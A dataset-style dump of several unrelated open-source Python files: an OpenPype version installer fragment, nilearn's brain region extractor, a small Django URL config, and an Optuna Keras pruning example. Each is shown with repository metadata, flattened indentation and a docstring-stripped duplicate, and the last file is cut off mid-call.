if diff:
return False, f"Missing files {diff}"
return True, "All ok"
@staticmethod
def add_paths_from_archive(archive: Path) -> None:
if not archive.is_file() and not archive.exists():
raise ValueError("Archive is not file.")
with ZipFile(archive, "r") as zip_file:
name_list = zip_file.namelist()
roots = []
paths = []
for item in name_list:
if not item.startswith("repos/"):
continue
root = item.split("/")[1]
if root not in roots:
roots.append(root)
paths.append(
f"{archive}{os.path.sep}repos{os.path.sep}{root}")
sys.path.insert(0, paths[-1])
sys.path.insert(0, f"{archive}")
pythonpath = os.getenv("PYTHONPATH", "")
python_paths = pythonpath.split(os.pathsep)
python_paths += paths
os.environ["PYTHONPATH"] = os.pathsep.join(python_paths)
@staticmethod
def add_paths_from_directory(directory: Path) -> None:
sys.path.insert(0, directory.as_posix())
directory /= "repos"
if not directory.exists() and not directory.is_dir():
raise ValueError("directory is invalid")
roots = []
for item in directory.iterdir():
if item.is_dir():
root = item.as_posix()
if root not in roots:
roots.append(root)
sys.path.insert(0, root)
pythonpath = os.getenv("PYTHONPATH", "")
paths = pythonpath.split(os.pathsep)
paths += roots
os.environ["PYTHONPATH"] = os.pathsep.join(paths)
def find_openpype(
self,
openpype_path: Union[Path, str] = None,
staging: bool = False,
include_zips: bool = False) -> Union[List[OpenPypeVersion], None]:
if openpype_path and not isinstance(openpype_path, Path):
raise NotImplementedError(
("Finding OpenPype in non-filesystem locations is"
" not implemented yet."))
dir_to_search = self.data_dir
user_versions = self.get_openpype_versions(self.data_dir, staging)
# if we have openpype_path specified, search only there.
if openpype_path:
dir_to_search = openpype_path
else:
if os.getenv("OPENPYPE_PATH"):
if Path(os.getenv("OPENPYPE_PATH")).exists():
dir_to_search = Path(os.getenv("OPENPYPE_PATH"))
else:
try:
registry_dir = Path(
str(self.registry.get_item("openPypePath")))
if registry_dir.exists():
dir_to_search = registry_dir
except ValueError:
# nothing found in registry, we'll use data dir
pass
openpype_versions = self.get_openpype_versions(dir_to_search, staging)
openpype_versions += user_versions
if not include_zips:
openpype_versions = [
v for v in openpype_versions if v.path.suffix != ".zip"
]
openpype_versions = sorted(list(set(openpype_versions)))
return openpype_versions
def process_entered_location(self, location: str) -> Union[Path, None]:
openpype_path = None
if location.startswith("mongodb"):
openpype_path = get_openpype_path_from_db(location)
if not openpype_path:
self._print("cannot find OPENPYPE_PATH in settings.")
return None
if not openpype_path:
openpype_path = Path(location)
if not openpype_path.exists():
self._print(f"{openpype_path} doesn't exists.")
return None
# test if entered path isn't user data dir
if self.data_dir == openpype_path:
self._print("cannot point to user data dir", LOG_ERROR)
return None
versions = self.find_openpype(openpype_path, include_zips=True)
if versions:
self._print(f"found OpenPype in [ {openpype_path} ]")
self._print(f"latest version found is [ {versions[-1]} ]")
return self.install_version(versions[-1])
# data dir.
live_openpype = self.create_version_from_live_code(openpype_path)
if not live_openpype.path.exists():
self._print(f"installing zip {live_openpype} failed.", LOG_ERROR)
return None
# install it
return self.install_version(live_openpype)
def _print(self,
message: str,
level: int = LOG_INFO,
exc_info: bool = False):
if self._message:
self._message.emit(message, level == LOG_ERROR)
if level == LOG_WARNING:
self._log.warning(message, exc_info=exc_info)
return
if level == LOG_ERROR:
self._log.error(message, exc_info=exc_info)
return
self._log.info(message, exc_info=exc_info)
def extract_openpype(self, version: OpenPypeVersion) -> Union[Path, None]:
if not version.path:
raise ValueError(
f"version {version} is not associated with any file")
destination = self.data_dir / version.path.stem
if destination.exists():
assert destination.is_dir()
try:
shutil.rmtree(destination)
except OSError as e:
msg = f"!!! Cannot remove already existing {destination}"
self._print(msg, LOG_ERROR, exc_info=True)
raise e
destination.mkdir(parents=True)
# extract zip there
self._print("Extracting zip to destination ...")
with ZipFile(version.path, "r") as zip_ref:
zip_ref.extractall(destination)
self._print(f"Installed as {version.path.stem}")
return destination
def is_inside_user_data(self, path: Path) -> bool:
is_inside = False
try:
is_inside = path.resolve().relative_to(
self.data_dir)
except ValueError:
# if relative path cannot be calculated, OpenPype version is not
# inside user data dir
pass
return is_inside
def install_version(self,
openpype_version: OpenPypeVersion,
force: bool = False) -> Path:
if self.is_inside_user_data(openpype_version.path) and not openpype_version.path.is_file(): # noqa
raise OpenPypeVersionExists(
"OpenPype already inside user data dir")
# determine destination directory name
# for zip file strip suffix, in case of dir use whole dir name
if openpype_version.path.is_dir():
dir_name = openpype_version.path.name
else:
dir_name = openpype_version.path.stem
destination = self.data_dir / dir_name
# test if destination directory already exist, if so lets delete it.
if destination.exists() and force:
self._print("removing existing directory")
try:
shutil.rmtree(destination)
except OSError as e:
self._print(
f"cannot remove already existing {destination}",
LOG_ERROR, exc_info=True)
raise OpenPypeVersionIOError(
f"cannot remove existing {destination}") from e
elif destination.exists() and not force:
self._print("destination directory already exists")
raise OpenPypeVersionExists(f"{destination} already exist.")
else:
# create destination parent directories even if they don't exist.
destination.mkdir(parents=True)
if openpype_version.path.is_dir():
self._print("Creating zip from directory ...")
self._progress_callback(0)
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{openpype_version}.zip"
self._print(f"creating zip: {temp_zip}")
self._create_openpype_zip(temp_zip, openpype_version.path)
if not os.path.exists(temp_zip):
self._print("make archive failed.", LOG_ERROR)
raise OpenPypeVersionIOError("Zip creation failed.")
openpype_version.path = temp_zip
if self.is_inside_user_data(openpype_version.path):
raise OpenPypeVersionInvalid(
"Version is in user data dir.")
openpype_version.path = self._copy_zip(
openpype_version.path, destination)
elif openpype_version.path.is_file():
if openpype_version.path.suffix.lower() != ".zip":
raise OpenPypeVersionInvalid("Invalid file format")
if not self.is_inside_user_data(openpype_version.path):
self._progress_callback(35)
openpype_version.path = self._copy_zip(
openpype_version.path, destination)
self._print("extracting zip to destination ...")
with ZipFile(openpype_version.path, "r") as zip_ref:
self._progress_callback(75)
zip_ref.extractall(destination)
self._progress_callback(100)
return destination
def _copy_zip(self, source: Path, destination: Path) -> Path:
try:
self._print("Copying zip to destination ...")
_destination_zip = destination.parent / source.name
copyfile(
source.as_posix(),
_destination_zip.as_posix())
except OSError as e:
self._print(
"cannot copy version to user data directory", LOG_ERROR,
exc_info=True)
raise OpenPypeVersionIOError((
f"can't copy version {source.as_posix()} "
f"to destination {destination.parent.as_posix()}")) from e
return _destination_zip
def _is_openpype_in_dir(self,
dir_item: Path,
detected_version: OpenPypeVersion) -> bool:
try:
# add one 'openpype' level as inside dir there should
# be many other repositories.
version_str = BootstrapRepos.get_version(dir_item)
version_check = OpenPypeVersion(version=version_str)
except ValueError:
self._print(
f"cannot determine version from {dir_item}", True)
return False
version_main = version_check.get_main_version()
detected_main = detected_version.get_main_version()
if version_main != detected_main:
self._print(
(f"dir version ({detected_version}) and "
f"its content version ({version_check}) "
"doesn't match. Skipping."))
return False
return True
def _is_openpype_in_zip(self,
zip_item: Path,
detected_version: OpenPypeVersion) -> bool:
if zip_item.suffix.lower() != ".zip":
return False
try:
with ZipFile(zip_item, "r") as zip_file:
with zip_file.open(
"openpype/version.py") as version_file:
zip_version = {}
exec(version_file.read(), zip_version)
try:
version_check = OpenPypeVersion(
version=zip_version["__version__"])
except ValueError as e:
self._print(str(e), True)
return False
version_main = version_check.get_main_version()
detected_main = detected_version.get_main_version()
if version_main != detected_main:
self._print(
(f"zip version ({detected_version}) "
f"and its content version "
f"({version_check}) "
"doesn't match. Skipping."), True)
return False
except BadZipFile:
self._print(f"{zip_item} is not a zip file", True)
return False
except KeyError:
self._print("Zip does not contain OpenPype", True)
return False
return True
def get_openpype_versions(self,
openpype_dir: Path,
staging: bool = False) -> list:
if not openpype_dir.exists() and not openpype_dir.is_dir():
raise ValueError("specified directory is invalid")
_openpype_versions = []
# iterate over directory in first level and find all that might
# contain OpenPype.
for item in openpype_dir.iterdir():
# if file, strip extension, in case of dir not.
name = item.name if item.is_dir() else item.stem
result = OpenPypeVersion.version_in_str(name)
if result[0]:
detected_version: OpenPypeVersion
detected_version = result[1]
if item.is_dir() and not self._is_openpype_in_dir(
item, detected_version
):
continue
if item.is_file() and not self._is_openpype_in_zip(
item, detected_version
):
continue
detected_version.path = item
if staging and detected_version.is_staging():
_openpype_versions.append(detected_version)
if not staging and not detected_version.is_staging():
_openpype_versions.append(detected_version)
return sorted(_openpype_versions)
class OpenPypeVersionExists(Exception):
pass
class OpenPypeVersionInvalid(Exception):
pass
class OpenPypeVersionIOError(Exception):
pass
| true | true |
f7f35918484f8e938d7450e0eede5fea0d849ebb | 14,752 | py | Python | nilearn/regions/region_extractor.py | iglpdc/nilearn | a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1 | [
"BSD-2-Clause"
] | 1 | 2019-11-26T07:14:52.000Z | 2019-11-26T07:14:52.000Z | nilearn/regions/region_extractor.py | iglpdc/nilearn | a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1 | [
"BSD-2-Clause"
] | null | null | null | nilearn/regions/region_extractor.py | iglpdc/nilearn | a4cc998b7a34fa48a77ce46f9f0b6b4e75d8a2d1 | [
"BSD-2-Clause"
] | 1 | 2020-06-16T15:36:22.000Z | 2020-06-16T15:36:22.000Z | """
Better brain parcellations for Region of Interest analysis
"""
import numbers
import numpy as np
from scipy.ndimage import label
from scipy.stats import scoreatpercentile
from sklearn.externals.joblib import Memory
from .. import masking
from ..input_data import NiftiMapsMasker
from .._utils import check_niimg, check_niimg_4d
from ..image import new_img_like, resample_img
from ..image.image import _smooth_array, threshold_img
from .._utils.niimg_conversions import concat_niimgs, _check_same_fov
from .._utils.niimg import _safe_get_data
from .._utils.compat import _basestring
from .._utils.ndimage import _peak_local_max
from .._utils.segmentation import _random_walker
def _threshold_maps_ratio(maps_img, threshold):
""" Automatic thresholding of atlas maps image.
Considers the given threshold as a ratio to the total number of voxels
in the brain volume. This gives a certain number within the data
voxel size which means that nonzero voxels which fall above than this
size will be kept across all the maps.
Parameters
----------
maps_img: Niimg-like object
an image of brain atlas maps.
threshold: float
If float, value is used as a ratio to n_voxels to get a certain threshold
size in number to threshold the image. The value should be positive and
within the range of number of maps (i.e. n_maps in 4th dimension).
Returns
-------
threshold_maps_img: Nifti1Image
gives us thresholded image.
"""
maps = check_niimg(maps_img)
n_maps = maps.shape[-1]
if not isinstance(threshold, numbers.Real) or threshold <= 0 or threshold > n_maps:
raise ValueError("threshold given as ratio to the number of voxels must "
"be Real number and should be positive and between 0 and "
"total number of maps i.e. n_maps={0}. "
"You provided {1}".format(n_maps, threshold))
else:
ratio = threshold
maps_data = np.nan_to_num(maps.get_data())
abs_maps = np.abs(maps_data)
# thresholding
cutoff_threshold = scoreatpercentile(
abs_maps, 100. - (100. / n_maps) * ratio)
maps_data[abs_maps < cutoff_threshold] = 0.
threshold_maps_img = new_img_like(maps, maps_data)
return threshold_maps_img
def connected_regions(maps_img, min_region_size=1350,
extract_type='local_regions', smoothing_fwhm=6,
mask_img=None):
""" Extraction of brain connected regions into separate regions.
Note: the region size should be defined in mm^3. See the documentation for
more details.
.. versionadded:: 0.2
Parameters
----------
maps_img: Niimg-like object
an image of brain activation or atlas maps to be extracted into set of
separate brain regions.
min_region_size: int, default 1350 mm^3, optional
Minimum volume in mm3 for a region to be kept. For example, if the voxel
size is 3x3x3 mm then the volume of the voxel is 27mm^3. By default, it
is 1350mm^3 which means we take minimum size of 1350 / 27 = 50 voxels.
extract_type: str {'connected_components', 'local_regions'} \
default local_regions, optional
If 'connected_components', each component/region in the image is extracted
automatically by labelling each region based upon the presence of unique
features in their respective regions.
If 'local_regions', each component/region is extracted based on their
maximum peak value to define a seed marker and then using random walker
segementation algorithm on these markers for region separation.
smoothing_fwhm: scalar, default 6mm, optional
To smooth an image to extract most sparser regions. This parameter
is passed `_smooth_array` and exists only for extract_type 'local_regions'.
mask_img: Niimg-like object, default None
If given, mask image is applied to input data.
If None, no masking is applied.
Returns
-------
regions_extracted_img: Nifti1Image
gives the image in 4D of extracted brain regions. Each 3D image consists
of only one separated region.
index_of_each_map: numpy array
an array of list of indices where each index denotes the identity
of each extracted region to their family of brain maps.
"""
all_regions_imgs = []
index_of_each_map = []
maps_img = check_niimg(maps_img, atleast_4d=True)
maps = _safe_get_data(maps_img).copy()
affine = maps_img.get_affine()
min_region_size = min_region_size / np.prod(np.diag(abs(affine[:3])))
allowed_extract_types = ['connected_components', 'local_regions']
if extract_type not in allowed_extract_types:
message = ("'extract_type' should be given either of these {0} "
"You provided extract_type='{1}'").format(allowed_extract_types, extract_type)
raise ValueError(message)
if mask_img is not None:
if not _check_same_fov(maps_img, mask_img):
mask_img = resample_img(mask_img,
target_affine=maps_img.get_affine(),
target_shape=maps_img.shape[:3],
interpolation="nearest")
mask_data, _ = masking._load_mask_img(mask_img)
# Set as 0 to the values which are outside of the mask
maps[mask_data == 0.] = 0.
for index in range(maps.shape[-1]):
regions = []
map_3d = maps[..., index]
# Mark the seeds using random walker
if extract_type == 'local_regions':
smooth_map = _smooth_array(map_3d, affine=affine, fwhm=smoothing_fwhm)
seeds = _peak_local_max(smooth_map)
seeds_label, seeds_id = label(seeds)
# Assign -1 to values which are 0. to indicate to ignore
seeds_label[map_3d == 0.] = -1
rw_maps = _random_walker(map_3d, seeds_label)
# Now simply replace "-1" with "0" for regions separation
rw_maps[rw_maps == -1] = 0.
label_maps = rw_maps
else:
# Connected component extraction
label_maps, n_labels = label(map_3d)
# Takes the size of each labelized region data
labels_size = np.bincount(label_maps.ravel())
# set background labels sitting in zero index to zero
labels_size[0] = 0.
for label_id, label_size in enumerate(labels_size):
if label_size > min_region_size:
region_data = (label_maps == label_id) * map_3d
region_img = new_img_like(maps_img, region_data)
regions.append(region_img)
index_of_each_map.extend([index] * len(regions))
all_regions_imgs.extend(regions)
regions_extracted_img = concat_niimgs(all_regions_imgs)
return regions_extracted_img, index_of_each_map
class RegionExtractor(NiftiMapsMasker):
"""Class for brain region extraction.
Region Extraction is a post processing technique which
is implemented to automatically segment each brain atlas maps
into different set of separated brain activated region.
Particularly, to show that each decomposed brain maps can be
used to focus on a target specific Regions of Interest analysis.
.. versionadded:: 0.2
Parameters
----------
maps_img: 4D Niimg-like object
Image containing a set of whole brain atlas maps or statistically
decomposed brain maps.
mask_img: Niimg-like object or None, default None, optional
Mask to be applied to input data, passed to NiftiMapsMasker.
If None, no masking is applied.
min_region_size: int, default 1350 mm^3, optional
Minimum volume in mm3 for a region to be kept. For example, if
the voxel size is 3x3x3 mm then the volume of the voxel is
27mm^3. By default, it is 1350mm^3 which means we take minimum
size of 1350 / 27 = 50 voxels.
threshold: number, default 1., optional
A value used either in ratio_n_voxels or img_value or percentile
`thresholding_strategy` based upon the choice of selection.
thresholding_strategy: str {'ratio_n_voxels', 'img_value', 'percentile'}, optional
If default 'ratio_n_voxels', we apply thresholding that will keep
the more intense nonzero brain voxels (denoted as n_voxels)
across all maps (n_voxels being the number of voxels in the brain
volume). A float value given in `threshold` parameter indicates
the ratio of voxels to keep meaning (if float=2. then maps will
together have 2. x n_voxels non-zero voxels). If set to
'percentile', images are thresholded based on the score obtained
with the given percentile on the data and the voxel intensities
which are survived above this obtained score will be kept. If set
to 'img_value', we apply thresholding based on the non-zero voxel
intensities across all maps. A value given in `threshold`
parameter indicates that we keep only those voxels which have
intensities more than this value.
extractor: str {'connected_components', 'local_regions'} default 'local_regions', optional
If 'connected_components', each component/region in the image is
extracted automatically by labelling each region based upon the
presence of unique features in their respective regions. If
'local_regions', each component/region is extracted based on
their maximum peak value to define a seed marker and then using
random walker segementation algorithm on these markers for region
separation.
standardize: bool, True or False, default False, optional
If True, the time series signals are centered and normalized by
putting their mean to 0 and variance to 1. Recommended to
set as True if signals are not already standardized.
passed to class NiftiMapsMasker.
detrend: bool, True or False, default False, optional
This parameter is passed to nilearn.signal.clean basically
indicates whether to detrend timeseries signals or not.
passed to class NiftiMapsMasker.
low_pass: float, default None, optional
This value will be applied on the signals by passing to signal.clean
Please see the related documentation signal.clean for more details.
passed to class NiftiMapsMasker.
high_pass: float, default None, optional
This value will be applied on the signals by passing to signal.clean
Please see the related documentation signal.clean for more details.
passed to NiftiMapsMasker.
t_r: float, default None, optional
Repetition time in sec. This value is given to signal.clean
Please see the related documentation for details.
passed to NiftiMapsMasker.
memory: instance of joblib.Memory, string, default None, optional
Used to cache the masking process. If a string is given, the path
is set with this string as a folder name in the directory.
passed to NiftiMapsMasker.
memory_level: int, default 0, optional
Aggressiveness of memory catching. The higher the number, the higher
the number of functions that will be cached. Zero mean no caching.
passed to NiftiMapsMasker.
verbose: int, default 0, optional
Indicates the level of verbosity by printing the message. Zero
indicates nothing is printed.
Attributes
----------
`index_` : numpy array
array of list of indices where each index value is assigned to
each separate region of its corresponding family of brain maps.
`regions_img_` : Nifti1Image
List of separated regions with each region lying on an
original volume concatenated into a 4D image.
References
----------
* Abraham et al. "Region segmentation for sparse decompositions:
better brain parcellations from rest fMRI", Sparsity Techniques in
Medical Imaging, Sep 2014, Boston, United States. pp.8
"""
def __init__(self, maps_img, mask_img=None, min_region_size=1350,
threshold=1., thresholding_strategy='ratio_n_voxels',
extractor='local_regions', standardize=False, detrend=False,
low_pass=None, high_pass=None, t_r=None,
memory=Memory(cachedir=None), memory_level=0, verbose=0):
super(RegionExtractor, self).__init__(
maps_img=maps_img, mask_img=mask_img,
standardize=standardize, detrend=detrend, low_pass=low_pass,
high_pass=high_pass, t_r=t_r, memory=memory,
memory_level=memory_level, verbose=verbose)
self.maps_img = maps_img
self.min_region_size = min_region_size
self.thresholding_strategy = thresholding_strategy
self.threshold = threshold
self.extractor = extractor
def fit(self, X=None, y=None):
""" Prepare the data and setup for the region extraction
"""
maps_img = check_niimg_4d(self.maps_img)
list_of_strategies = ['ratio_n_voxels', 'img_value', 'percentile']
if self.thresholding_strategy not in list_of_strategies:
message = ("'thresholding_strategy' should be "
"either of these {0}").format(list_of_strategies)
raise ValueError(message)
if self.threshold is None or isinstance(self.threshold, _basestring):
raise ValueError("The given input to threshold is not valid. "
"Please submit a valid number specific to either of "
"the strategy in {0}".format(list_of_strategies))
elif isinstance(self.threshold, numbers.Number):
# foreground extraction
if self.thresholding_strategy == 'ratio_n_voxels':
threshold_maps = _threshold_maps_ratio(maps_img, self.threshold)
else:
if self.thresholding_strategy == 'percentile':
self.threshold = "{0}%".format(self.threshold)
threshold_maps = threshold_img(maps_img, mask_img=self.mask_img,
threshold=self.threshold)
# connected component extraction
self.regions_img_, self.index_ = connected_regions(threshold_maps,
self.min_region_size,
self.extractor)
self.maps_img = self.regions_img_
super(RegionExtractor, self).fit()
return self
| 43.516224 | 97 | 0.67096 |
import numbers
import numpy as np
from scipy.ndimage import label
from scipy.stats import scoreatpercentile
from sklearn.externals.joblib import Memory
from .. import masking
from ..input_data import NiftiMapsMasker
from .._utils import check_niimg, check_niimg_4d
from ..image import new_img_like, resample_img
from ..image.image import _smooth_array, threshold_img
from .._utils.niimg_conversions import concat_niimgs, _check_same_fov
from .._utils.niimg import _safe_get_data
from .._utils.compat import _basestring
from .._utils.ndimage import _peak_local_max
from .._utils.segmentation import _random_walker
def _threshold_maps_ratio(maps_img, threshold):
maps = check_niimg(maps_img)
n_maps = maps.shape[-1]
if not isinstance(threshold, numbers.Real) or threshold <= 0 or threshold > n_maps:
raise ValueError("threshold given as ratio to the number of voxels must "
"be Real number and should be positive and between 0 and "
"total number of maps i.e. n_maps={0}. "
"You provided {1}".format(n_maps, threshold))
else:
ratio = threshold
maps_data = np.nan_to_num(maps.get_data())
abs_maps = np.abs(maps_data)
cutoff_threshold = scoreatpercentile(
abs_maps, 100. - (100. / n_maps) * ratio)
maps_data[abs_maps < cutoff_threshold] = 0.
threshold_maps_img = new_img_like(maps, maps_data)
return threshold_maps_img
def connected_regions(maps_img, min_region_size=1350,
extract_type='local_regions', smoothing_fwhm=6,
mask_img=None):
all_regions_imgs = []
index_of_each_map = []
maps_img = check_niimg(maps_img, atleast_4d=True)
maps = _safe_get_data(maps_img).copy()
affine = maps_img.get_affine()
min_region_size = min_region_size / np.prod(np.diag(abs(affine[:3])))
allowed_extract_types = ['connected_components', 'local_regions']
if extract_type not in allowed_extract_types:
message = ("'extract_type' should be given either of these {0} "
"You provided extract_type='{1}'").format(allowed_extract_types, extract_type)
raise ValueError(message)
if mask_img is not None:
if not _check_same_fov(maps_img, mask_img):
mask_img = resample_img(mask_img,
target_affine=maps_img.get_affine(),
target_shape=maps_img.shape[:3],
interpolation="nearest")
mask_data, _ = masking._load_mask_img(mask_img)
maps[mask_data == 0.] = 0.
for index in range(maps.shape[-1]):
regions = []
map_3d = maps[..., index]
if extract_type == 'local_regions':
smooth_map = _smooth_array(map_3d, affine=affine, fwhm=smoothing_fwhm)
seeds = _peak_local_max(smooth_map)
seeds_label, seeds_id = label(seeds)
seeds_label[map_3d == 0.] = -1
rw_maps = _random_walker(map_3d, seeds_label)
rw_maps[rw_maps == -1] = 0.
label_maps = rw_maps
else:
label_maps, n_labels = label(map_3d)
labels_size = np.bincount(label_maps.ravel())
labels_size[0] = 0.
for label_id, label_size in enumerate(labels_size):
if label_size > min_region_size:
region_data = (label_maps == label_id) * map_3d
region_img = new_img_like(maps_img, region_data)
regions.append(region_img)
index_of_each_map.extend([index] * len(regions))
all_regions_imgs.extend(regions)
regions_extracted_img = concat_niimgs(all_regions_imgs)
return regions_extracted_img, index_of_each_map
class RegionExtractor(NiftiMapsMasker):
def __init__(self, maps_img, mask_img=None, min_region_size=1350,
threshold=1., thresholding_strategy='ratio_n_voxels',
extractor='local_regions', standardize=False, detrend=False,
low_pass=None, high_pass=None, t_r=None,
memory=Memory(cachedir=None), memory_level=0, verbose=0):
super(RegionExtractor, self).__init__(
maps_img=maps_img, mask_img=mask_img,
standardize=standardize, detrend=detrend, low_pass=low_pass,
high_pass=high_pass, t_r=t_r, memory=memory,
memory_level=memory_level, verbose=verbose)
self.maps_img = maps_img
self.min_region_size = min_region_size
self.thresholding_strategy = thresholding_strategy
self.threshold = threshold
self.extractor = extractor
def fit(self, X=None, y=None):
maps_img = check_niimg_4d(self.maps_img)
list_of_strategies = ['ratio_n_voxels', 'img_value', 'percentile']
if self.thresholding_strategy not in list_of_strategies:
message = ("'thresholding_strategy' should be "
"either of these {0}").format(list_of_strategies)
raise ValueError(message)
if self.threshold is None or isinstance(self.threshold, _basestring):
raise ValueError("The given input to threshold is not valid. "
"Please submit a valid number specific to either of "
"the strategy in {0}".format(list_of_strategies))
elif isinstance(self.threshold, numbers.Number):
if self.thresholding_strategy == 'ratio_n_voxels':
threshold_maps = _threshold_maps_ratio(maps_img, self.threshold)
else:
if self.thresholding_strategy == 'percentile':
self.threshold = "{0}%".format(self.threshold)
threshold_maps = threshold_img(maps_img, mask_img=self.mask_img,
threshold=self.threshold)
self.regions_img_, self.index_ = connected_regions(threshold_maps,
self.min_region_size,
self.extractor)
self.maps_img = self.regions_img_
super(RegionExtractor, self).fit()
return self
| true | true |
f7f35a4f282cfd405d911273515cd167385a927b | 1,013 | py | Python | ExamSchedule/urls.py | imshubhamkaushik/Exam_Schedule | 3766cb7e9b5260bb635234d88a52ea5106cb92fb | [
"MIT"
] | null | null | null | ExamSchedule/urls.py | imshubhamkaushik/Exam_Schedule | 3766cb7e9b5260bb635234d88a52ea5106cb92fb | [
"MIT"
] | null | null | null | ExamSchedule/urls.py | imshubhamkaushik/Exam_Schedule | 3766cb7e9b5260bb635234d88a52ea5106cb92fb | [
"MIT"
] | null | null | null | """ExamSchedule URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from MainApp.views import login, show_schedule, add_schedule
urlpatterns = [
path(r'admin/', admin.site.urls),
path(r'view/', show_schedule, name='show_schedule'),
path(r'login/', login, name='login'),
path(r'', login, name='home'),
path(r'addschedule/', add_schedule, name='add_schedule'),
]
| 36.178571 | 77 | 0.704837 | from django.contrib import admin
from django.urls import path
from MainApp.views import login, show_schedule, add_schedule
urlpatterns = [
path(r'admin/', admin.site.urls),
path(r'view/', show_schedule, name='show_schedule'),
path(r'login/', login, name='login'),
path(r'', login, name='home'),
path(r'addschedule/', add_schedule, name='add_schedule'),
]
| true | true |
f7f35b59834abed8913058c5b75225e5c0eff828 | 4,190 | py | Python | examples/pruning/keras_integration.py | thigm85/optuna | 4680f36a470ffb9ead89abf65dcc7e7533fd789f | [
"MIT"
] | 1 | 2019-05-28T07:29:49.000Z | 2019-05-28T07:29:49.000Z | examples/pruning/keras_integration.py | nabenabe0928/optuna | aa505125de8515518fe19ba227edf7a1d3f8ebda | [
"MIT"
] | null | null | null | examples/pruning/keras_integration.py | nabenabe0928/optuna | aa505125de8515518fe19ba227edf7a1d3f8ebda | [
"MIT"
] | 2 | 2020-03-03T00:40:28.000Z | 2021-01-28T11:54:32.000Z | """
Optuna example that demonstrates a pruner for Keras.
In this example, we optimize the validation accuracy of hand-written digit recognition using
Keras and MNIST, where the architecture of the neural network and the learning rate of optimizer
is optimized. Throughout the training of neural networks, a pruner observes intermediate
results and stops unpromising trials.
You can run this example as follows:
$ python keras_integration.py
For a similar Optuna example that demonstrates Keras without a pruner on a regression dataset,
see the following link:
https://github.com/optuna/optuna/blob/master/examples/mlflow/keras_mlflow.py
"""
import warnings
import keras
from keras.datasets import mnist
from keras.layers import Dense
from keras.layers import Dropout
from keras.models import Sequential
import optuna
from optuna.integration import KerasPruningCallback
N_TRAIN_EXAMPLES = 3000
N_VALID_EXAMPLES = 1000
BATCHSIZE = 128
CLASSES = 10
EPOCHS = 20
def create_model(trial):
# We optimize the number of layers, hidden units and dropout in each layer and
# the learning rate of RMSProp optimizer.
# We define our MLP.
n_layers = trial.suggest_int("n_layers", 1, 3)
model = Sequential()
for i in range(n_layers):
num_hidden = trial.suggest_int("n_units_l{}".format(i), 4, 128, log=True)
model.add(Dense(num_hidden, activation="relu"))
dropout = trial.suggest_float("dropout_l{}".format(i), 0.2, 0.5)
model.add(Dropout(rate=dropout))
model.add(Dense(CLASSES, activation="softmax"))
# We compile our model with a sampled learning rate.
lr = trial.suggest_float("lr", 1e-5, 1e-1, log=True)
model.compile(
loss="categorical_crossentropy",
optimizer=keras.optimizers.RMSprop(lr=lr),
metrics=["accuracy"],
)
return model
def objective(trial):
# Clear clutter from previous session graphs.
keras.backend.clear_session()
# The data is split between train and validation sets.
(x_train, y_train), (x_valid, y_valid) = mnist.load_data()
x_train = x_train.reshape(60000, 784)[:N_TRAIN_EXAMPLES].astype("float32") / 255
x_valid = x_valid.reshape(10000, 784)[:N_VALID_EXAMPLES].astype("float32") / 255
# Convert class vectors to binary class matrices.
y_train = keras.utils.to_categorical(y_train[:N_TRAIN_EXAMPLES], CLASSES)
y_valid = keras.utils.to_categorical(y_valid[:N_VALID_EXAMPLES], CLASSES)
# Generate our trial model.
model = create_model(trial)
# Fit the model on the training data.
# The KerasPruningCallback checks for pruning condition every epoch.
model.fit(
x_train,
y_train,
batch_size=BATCHSIZE,
callbacks=[KerasPruningCallback(trial, "val_accuracy")],
epochs=EPOCHS,
validation_data=(x_valid, y_valid),
verbose=1,
)
# Evaluate the model accuracy on the validation set.
score = model.evaluate(x_valid, y_valid, verbose=0)
return score[1]
if __name__ == "__main__":
warnings.warn(
"Recent Keras release (2.4.0) simply redirects all APIs "
"in the standalone keras package to point to tf.keras. "
"There is now only one Keras: tf.keras. "
"There may be some breaking changes for some workflows by upgrading to keras 2.4.0. "
"Test before upgrading. "
"REF:https://github.com/keras-team/keras/releases/tag/2.4.0"
)
study = optuna.create_study(direction="maximize", pruner=optuna.pruners.MedianPruner())
study.optimize(objective, n_trials=100)
pruned_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.PRUNED]
complete_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.COMPLETE]
print("Study statistics: ")
print(" Number of finished trials: ", len(study.trials))
print(" Number of pruned trials: ", len(pruned_trials))
print(" Number of complete trials: ", len(complete_trials))
print("Best trial:")
trial = study.best_trial
print(" Value: ", trial.value)
print(" Params: ")
for key, value in trial.params.items():
print(" {}: {}".format(key, value))
| 35.210084 | 96 | 0.702864 | import warnings
import keras
from keras.datasets import mnist
from keras.layers import Dense
from keras.layers import Dropout
from keras.models import Sequential
import optuna
from optuna.integration import KerasPruningCallback
N_TRAIN_EXAMPLES = 3000
N_VALID_EXAMPLES = 1000
BATCHSIZE = 128
CLASSES = 10
EPOCHS = 20
def create_model(trial):
n_layers = trial.suggest_int("n_layers", 1, 3)
model = Sequential()
for i in range(n_layers):
num_hidden = trial.suggest_int("n_units_l{}".format(i), 4, 128, log=True)
model.add(Dense(num_hidden, activation="relu"))
dropout = trial.suggest_float("dropout_l{}".format(i), 0.2, 0.5)
model.add(Dropout(rate=dropout))
model.add(Dense(CLASSES, activation="softmax"))
lr = trial.suggest_float("lr", 1e-5, 1e-1, log=True)
model.compile(
loss="categorical_crossentropy",
optimizer=keras.optimizers.RMSprop(lr=lr),
metrics=["accuracy"],
)
return model
def objective(trial):
keras.backend.clear_session()
(x_train, y_train), (x_valid, y_valid) = mnist.load_data()
x_train = x_train.reshape(60000, 784)[:N_TRAIN_EXAMPLES].astype("float32") / 255
x_valid = x_valid.reshape(10000, 784)[:N_VALID_EXAMPLES].astype("float32") / 255
y_train = keras.utils.to_categorical(y_train[:N_TRAIN_EXAMPLES], CLASSES)
y_valid = keras.utils.to_categorical(y_valid[:N_VALID_EXAMPLES], CLASSES)
model = create_model(trial)
model.fit(
x_train,
y_train,
